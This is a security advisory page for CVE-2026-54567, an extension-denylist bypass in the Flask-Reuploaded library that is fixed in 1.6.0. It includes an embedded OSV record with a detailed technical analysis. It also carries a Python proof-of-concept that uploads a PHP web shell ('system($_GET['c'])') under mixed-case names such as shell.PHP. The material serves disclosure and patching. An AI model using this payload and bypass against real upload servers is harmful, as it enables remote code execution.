CVE-2026-54567: Flask-Reuploaded Extension-denylist Bypass Vulnerability
HIGHCVE-2026-54567 is a HIGH (CVSS 7.5) extension-denylist bypass vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Flask-Reuploaded libraries in the PyPI ecosystem. The issue involves extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of cve-2026-27641). Remediation is available by upgrading affected packages to version 1.6.0.
CVE-2026-54567 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-54567
To remediate this vulnerability, upgrade all affected Flask-Reuploaded dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install Flask-Reuploaded>=1.6.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show Flask-Reuploaded
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54567, inspect your installed packages using pip:
pip show Flask-Reuploaded
Analyze the terminal output to locate any version of Flask-Reuploaded in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.0), your application is affected.
Note: The pip show Flask-Reuploaded command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Flask-Reuploaded, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54567 Affected Flask-Reuploaded Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
Flask-Reuploaded
|
PyPI |
< 1.6.0
|
1.6.0
|
References
Frequently Asked Questions
What is CVE-2026-54567?
Which Flask-Reuploaded versions are affected?
What version fixes CVE-2026-54567?
Is Flask-Reuploaded affected?
What is the CVSS score of CVE-2026-54567?
What CWE is associated with CVE-2026-54567?
How can I check PyPI dependencies for CVE-2026-54567?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-937x-gpqr-72gg",
"modified" : "2026-07-17T20:11:35Z",
"published" : "2026-07-17T20:11:35Z",
"aliases" : [ "CVE-2026-54567" ],
"summary" : "Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)",
"details" : "## 1. Header\n\n| Field | Value |\n|---|---|\n| **Title** | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |\n| **Project** | Flask-Reuploaded (`flask_uploads`) |\n| **Affected** | `<= 1.5.0` (latest release; commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`) |\n| **Relationship** | Incomplete-fix variant of **CVE-2026-27641** (fixed in v1.5.0; this variant survives that fix) |\n| **CWE** | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |\n| **CVSS v3.1 (proposed)** | **~7.0–7.3 (High, conditional)** — `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`. Final score deferred to maintainer. |\n| **Verified against** | `pip install Flask-Reuploaded==1.5.0`, Python 3.11 |\n\n---\n\n## 2. Decisive evidence — the asymmetry\n\nThe v1.5.0 fix for CVE-2026-27641 added an extension **re-validation** that runs when a caller supplies a `name` override to `UploadSet.save()`. It is routed through the **case-preserving** `extension()` helper, whereas the default upload path normalizes to lowercase via `lowercase_ext()` (inside `get_basename()`). The two paths disagree on case:\n\n```\ndefault path : get_basename(\"shell.PHP\")\n = lowercase_ext(secure_filename(\"shell.PHP\")) = \"shell.php\"\n -> extension(\"shell.php\") = \"php\"\n -> extension_allowed(\"php\") -> DENY (correct)\n\nname-override : secure_filename(\"shell.PHP\") = \"shell.PHP\" (case preserved)\n -> basename = \"shell.PHP\"\n -> ext = extension(\"shell.PHP\") = \"PHP\" (NOT lowercased)\n -> extension_allowed(\"PHP\") -> ALLOW (bypass)\n```\n\nOn a denylist `UploadSet` the allow-check returns `True` for the mixed-case form:\n\n```python\n# extensions.py:97\ndef __contains__(self, item): return item not in self.items\n# \"PHP\" not in ('js','php','pl','py','rb','sh') -> True -> allowed\n```\n\n`extension_allowed(\"PHP\")` passes the denylist that `extension_allowed(\"php\")` is blocked by.\n\n---\n\n## 3. Vulnerability summary\n\n`UploadSet.save(storage, name=...)` lets the caller override the stored filename. After the CVE-2026-27641 fix, `name` is sanitized with `secure_filename()` and its extension re-validated. Because the re-validation compares a **case-preserving** extension against a policy whose denied tokens are lowercase, an attacker controlling `name` stores a file with a denied extension by varying case (`shell.PHP`, `evil.pHp`). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache `AddHandler`/`AddType`), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).\n\n---\n\n## 4. Affected components\n\nPermalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23` (v1.5.0).\n\n| Role | Location |\n|---|---|\n| Normalizing helper (default path) | `src/flask_uploads/flask_uploads.py:283` — `return lowercase_ext(secure_filename(filename))` |\n| `save()` entry | `src/flask_uploads/flask_uploads.py:285` |\n| name-override sanitize | `src/flask_uploads/flask_uploads.py:333` — `name = secure_filename(name)` |\n| name-override assign (case kept) | `src/flask_uploads/flask_uploads.py:341` — `basename = name` |\n| **Re-validation (non-normalizing)** | `src/flask_uploads/flask_uploads.py:344` — `ext = extension(basename)` |\n| Allow-check | `src/flask_uploads/flask_uploads.py:345` |\n| Policy check | `src/flask_uploads/flask_uploads.py:268` — `extension_allowed` |\n| Containment backstop (path only) | `src/flask_uploads/flask_uploads.py:364` |\n| Sink | `src/flask_uploads/flask_uploads.py:374` — `storage.save(target)` |\n| Case-preserving extractor | `src/flask_uploads/extensions.py:101` — `def extension` |\n| Case-normalizing extractor | `src/flask_uploads/extensions.py:109` — `def lowercase_ext` |\n| Denylist membership | `src/flask_uploads/extensions.py:97` — `AllExcept.__contains__` |\n| Documented script denylist | `src/flask_uploads/extensions.py:34-35` |\n\n---\n\n## 5. Taint analysis\n\n- **Source:** the `name` argument of `UploadSet.save(storage, name=...)` — commonly user-derived; the parent CVE-2026-27641 already treats `name` as attacker-controllable.\n- **Guard (asymmetric):** `secure_filename(name)` stops traversal, but the extension policy check at `:344-345` uses non-normalizing `extension()` against a lowercase-tokened policy. The realpath containment at `:364` constrains the *path*, not the *extension* — orthogonal to this bypass.\n- **Sink:** `storage.save(target)` at `:374` writes the attacker-extensioned file into the served upload directory.\n\n---\n\n## 6. CVSS justification (preconditions stated honestly)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` ≈ **7.0–7.3 (High)**.\n\n- **AV:N** — web upload endpoint.\n- **AC:H** — three preconditions (stated plainly):\n 1. `UploadSet` uses a **denylist** — `AllExcept(...)` or populated `config.deny`. (Allowlists fail closed — §7c.)\n 2. Application passes a **user-influenced `name`** to `save()`.\n 3. Deployment resolves/executes extensions **case-insensitively** (Windows/macOS FS; Apache `AddHandler`/`AddType`).\n- **PR:L** — uploads typically authenticated. **UI:N**. **S:U**. **C:H/I:H/A:H** — RCE under the web server's privileges on execution-capable upload dirs.\n\n**Why High, not a contrived misconfiguration** — the bypassed control is the library's documented script-blocking mechanism:\n\n- `extensions.py:34-35` — `SCRIPTS`: *\"…you might want to add ``php`` to the DENY setting.\"*\n- `extensions.py:24-26` — `EXECUTABLES`: *\"…it's better suited for use with `AllExcept`.\"*\n\nAn app that followed this guidance to block scripts is exactly what this variant defeats.\n\n**Not claimed:** not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.\n\n---\n\n## 7. Proof of Concept (results)\n\nAgainst shipped `Flask-Reuploaded==1.5.0`:\n\n### 7a. Asymmetry\n```\ndefault path : lowercase_ext(\"shell.PHP\") -> \"php\" -> extension_allowed(\"php\") -> DENY\nname-override : secure_filename(\"shell.PHP\") -> \"shell.PHP\" -> extension(...) -> \"PHP\" -> extension_allowed(\"PHP\") -> ALLOW\n```\n\n### 7b. End-to-end (denylist `AllExcept(SCRIPTS)`)\n```\n[1] save(storage(\"shell.PHP\")) -> UploadNotAllowed (default path blocked)\n[2] save(storage(\"upload.bin\"), name=\"shell.PHP\") -> saved \"shell.PHP\", on_disk=True (BYPASS)\n[2b] save(storage(\"upload.bin\"), name=\"evil.pHp\") -> saved \"evil.pHp\", on_disk=True; containment intact\n```\n\n### 7c. Negative controls\n```\n[3] allowlist IMAGES, name=\"shell.PHP\" -> UploadNotAllowed: File extension 'PHP' is not allowed (fail-closed)\n[4] allowlist IMAGES, name=\"photo.jpg\" -> saved \"photo.jpg\" (legit unaffected)\n```\n\n---\n\n## 8. Patch pattern (internal precedent)\n\nThe project ships a **case-normalizing** extractor (`lowercase_ext`, used by `get_basename`) specifically so configured extensions are *\"compare[d] … in the same case\"* (its docstring). The v1.5.0 re-validation instead calls the **case-preserving** `extension()`, so the new guard does not match the normalization the rest of the system relies on — the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.\n\n---\n\n## 9. Impact\n\n- Bypass of the documented extension denylist for scripts/executables.\n- Storage of `.PHP` / `.pHp` / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).\n- On case-insensitive execution surfaces → **remote code execution** under the web server's privileges — the parent CVE's end impact, re-enabled on denylist deployments.\n\n---\n\n## 10. Suggested remediation\n\nNormalize before the policy check so the name-override path matches the default path:\n\n1. `ext = extension(basename).lower()` (or `extension(lowercase_ext(basename))`) before `extension_allowed`.\n2. Or run the overridden `basename` through `lowercase_ext()` (as `get_basename` does) before both validation and save.\n3. Or make `extension_allowed` / the policy containers case-insensitive.\n\nOption (1) or (2) is the minimal, behavior-preserving fix.\n\n---\n\n## 11. Evidence files\n\n- `poc_case_fold.py` (§12) — self-contained PoC; runs against `pip install Flask-Reuploaded==1.5.0`.\n- `/tmp/flask_reuploaded_case_fold_proof.txt` — captured verdict.\n- Source permalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`.\n\n---\n\n## 12. Full PoC script (`poc_case_fold.py`)\n\n```python\n\"\"\"\nPoC — Flask-Reuploaded CVE-2026-27641 incomplete-fix variant\nCase-folding asymmetry in the name-override extension re-validation.\n\nParent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a\n`name` override is supplied, but routed it through the CASE-PRESERVING\n`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the\ndefault upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet\n(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the\ndenylist that the default path correctly blocks.\n\n default path : lowercase_ext(\"shell.PHP\") -> \"php\" -> extension_allowed(\"php\") -> DENY\n name-override : secure_filename(\"shell.PHP\") -> \"shell.PHP\" (case kept)\n -> extension(\"shell.PHP\") -> \"PHP\" -> extension_allowed(\"PHP\") -> ALLOW\n\nTested against the SHIPPED, patched Flask-Reuploaded==1.5.0.\n\"\"\"\nimport io\nimport os\nimport shutil\nimport tempfile\n\nfrom flask import Flask\nfrom flask_uploads import (\n UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,\n)\nfrom werkzeug.datastructures import FileStorage\nimport flask_uploads\n\n\ndef make_storage(filename: str) -> FileStorage:\n return FileStorage(\n stream=io.BytesIO(b\"<?php system($_GET['c']); ?>\"),\n filename=filename,\n content_type=\"application/octet-stream\",\n )\n\n\ndef run():\n import importlib.metadata as md\n print(f\"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}\")\n\n dest_denylist = tempfile.mkdtemp(prefix=\"fr_deny_\")\n dest_allowlist = tempfile.mkdtemp(prefix=\"fr_allow_\")\n\n app = Flask(__name__)\n files_deny = UploadSet(\"filesdeny\", AllExcept(SCRIPTS)) # documented \"allow all except scripts\"\n files_allow = UploadSet(\"filesallow\", IMAGES) # allowlist (fail-closed)\n app.config[\"UPLOADED_FILESDENY_DEST\"] = dest_denylist\n app.config[\"UPLOADED_FILESALLOW_DEST\"] = dest_allowlist\n configure_uploads(app, (files_deny, files_allow))\n\n results = {}\n with app.app_context():\n # [1] default path, denylist -> must DENY\n try:\n saved = files_deny.save(make_storage(\"shell.PHP\"))\n results[\"default_path\"] = f\"SAVED as {saved} <-- UNEXPECTED\"\n except UploadNotAllowed:\n results[\"default_path\"] = \"DENIED (expected)\"\n\n # [2] name-override, denylist -> BYPASS\n try:\n saved = files_deny.save(make_storage(\"upload.bin\"), name=\"shell.PHP\")\n on_disk = os.path.join(dest_denylist, saved)\n results[\"variant\"] = f\"BYPASS — saved as {saved}, on_disk={os.path.exists(on_disk)}\"\n except UploadNotAllowed:\n results[\"variant\"] = \"DENIED (variant did NOT reproduce)\"\n\n # [2b] mixed-case generality + containment intact\n try:\n saved = files_deny.save(make_storage(\"upload.bin\"), name=\"evil.pHp\")\n on_disk = os.path.join(dest_denylist, saved)\n inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))\n results[\"variant_mixed\"] = f\"BYPASS — saved as {saved}, inside_dest={inside}\"\n except UploadNotAllowed:\n results[\"variant_mixed\"] = \"DENIED\"\n\n # [3] allowlist -> fail closed\n try:\n saved = files_allow.save(make_storage(\"real.jpg\"), name=\"shell.PHP\")\n results[\"allowlist\"] = f\"SAVED as {saved} <-- allowlist leaked\"\n except UploadNotAllowed:\n results[\"allowlist\"] = \"DENIED (expected — allowlist fails closed)\"\n\n # [4] legit upload -> allowed\n try:\n saved = files_allow.save(make_storage(\"real.jpg\"), name=\"photo.jpg\")\n results[\"legit\"] = f\"SAVED as {saved} (expected)\"\n except UploadNotAllowed:\n results[\"legit\"] = \"DENIED (UNEXPECTED — legit upload broke)\"\n\n print(\"VERDICT:\")\n for k, v in results.items():\n print(f\" {k:14s}: {v}\")\n\n confirmed = (\n \"BYPASS\" in results.get(\"variant\", \"\")\n and results.get(\"default_path\") == \"DENIED (expected)\"\n and \"DENIED\" in results.get(\"allowlist\", \"\")\n )\n print(\"FLASK_REUPLOADED_CASE_FOLD_CONFIRMED\" if confirmed else \"VARIANT NOT CONFIRMED — honest cut\")\n\n shutil.rmtree(dest_denylist, ignore_errors=True)\n shutil.rmtree(dest_allowlist, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n run()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "Flask-Reuploaded"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.5.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"
}, {
"type" : "WEB",
"url" : "https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jugmac00/flask-reuploaded"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-178", "CWE-434" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-17T20:11:35Z",
"nvd_published_at" : null
}
}